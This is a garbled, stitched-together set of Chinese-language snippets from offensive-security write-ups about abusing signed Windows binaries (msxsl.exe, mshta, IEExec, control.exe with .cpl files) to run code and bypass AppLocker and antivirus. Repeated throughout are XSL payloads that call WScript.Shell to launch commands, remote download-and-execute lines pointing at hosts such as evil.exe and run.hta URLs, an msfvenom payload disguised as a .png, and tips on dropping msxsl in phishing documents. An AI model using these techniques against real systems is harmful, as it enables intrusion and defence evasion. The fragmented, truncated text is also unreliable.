CPIApplet.dll 传入windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:\users\administrator\desktop\CPIApplet.cpl 执行命令 通过msxsl.exe > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com :xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix new ActiveXObject("WScript.Shell").Run("cmd.exe /k calc.exe"); return nodelist.nextNode().xml; } </msxsl select="user:xml(.)"/> </xsl:template> </xsl:stylesheet> 开启http服务 python3 -m http.server 80 远程下载执行 msxsl.exe
14、MSXSL.EXE msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。 id=21714 msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下: msxsl http://192.168.28.128/scripts/demo.xml http > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com :xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; } </msxsl
IEExec.exe http://192.168.28.131/evil.exe 09、mshta mshta用于执行.hta文件 mshta http://192.168.28.128/run.hta 10、msxsl msxsl.exe是微软用于命令行下处理XSL的一个程序 msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts
Suite user_dir_escalation.py, sip_provider.py, system_restore_proc.py, trust_provider.py Microsoft MsXsl msxsl_network.py Microsoft 工具安装 首先,广大研究人员需要使用下列命令将该项目源码克隆至本地: git clone https://github.com/endgameinc
> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl ="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script new ActiveXObject("WScript.Shell").Run("shell.exe"); return nodelist.nextNode().xml; } </msxsl
理论上是可以的哈哈哈哈 利用certUtil简便快捷,但是使用后需要注意清除缓存 5.msxsl.exe利用 这个是winddows发布的一个组件但是它并没有安装在windows操作系统中,那么为什么要利用它 msxsl.exe具有windows的签名,它的大小也只有24.3 KB (24,896 字节),我们完全可以上传到目标中或者在钓鱼文档中释放加载来进行利用来绕过杀毒软件的检测查杀。 ? ? id=21714 我们可以在网络上公开的资料可以知道: msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令 执行该工具需要用到2个文件 ,分别为XML及XSL文件,其命令如下: msxsl.exe test.xml exec.xsl 利用手法: test.xml的代码模板: <? :xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix
> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl ="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script new ActiveXObject("WScript.Shell").Run("shell.exe"); return nodelist.nextNode().xml; } </msxsl
http://site.com/payloads/calc.png calc.png msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png msxsl.exe (需下载) eg: msxsl https://evi1cg.github.io/scripts/demo.xml https://evi1cg.github.io/scripts/exec.xsl > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com :xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; } </msxsl
> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com :xslt" xmlns:var="http://schemas.microsoft.com/BizTalk/2003/var" exclude-result-prefixes="msxsl var s0
我们看下他的xsl文件格式,发现跟xml格式一样,而且跟之前msxsl的bypass很像。
urlopen('http://site.com/abc').read();" import base64; exec base64.b64decode("aW1wb=") WeiyiGeek. 4)msxsl.exe msxsl https://evi1cg.me/scripts/demo.xml https://evi1cg.me/scripts/exec.xs demo.xml: <? > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com --关键点--> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; } </msxsl
WeiyiGeek. 4)msxsl.exe msxsl https://evi1cg.me/scripts/demo.xml https://evi1cg.me/scripts/exec.xs demo.xml > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com --关键点--> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; } </msxsl
p=555 MSXSL 根据Microsoft的msxsl.exe命令行程序,用户能够使用Microsoft XSL处理器执行命令行可扩展样式表语言(XSL)。 msxsl.exe customers.xml script.xsl Links: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl
fr=aladdin 然后就找到3g师傅的一篇文章: https://3gstudent.github.io/3gstudent.github.io/Use-msxsl-to-bypass-AppLocker
p=555 MSXSL 根据Microsoft的msxsl.exe命令行程序,用户能够使用Microsoft XSL处理器执行命令行可扩展样式表语言(XSL)。 msxsl.exe customers.xml script.xsl Links: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl
\TexttoExe.ps1 evil.text evil.exe 3.15 其它 1.MSXSL.EXE msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl ="urn:schemas-microsoft-com:xslt" exclude-result-prefixes="msxsl"> <xsl:output <xsl:element name="td"> <xsl:value-of select="<em>msxsl</em>
From @IOActive: Abusing XSLT for Practical Attacks White Paper 如果显示的是 Microsoft XSLT 解释器,那么可以尝试通过 msxsl 标签来执行 C# 代码: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl ="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App"> <msxsl:script implements-prefix [CDATA[ { System.Diagnostics.Process.Start("cmd.exe /C calc.exe"); } ]]> </msxsl:script "/"> </xsl:template> </xsl:stylesheet> 不过这通常需要设置 XsltSettings.EnableScript,参考 Script Blocks Using msxsl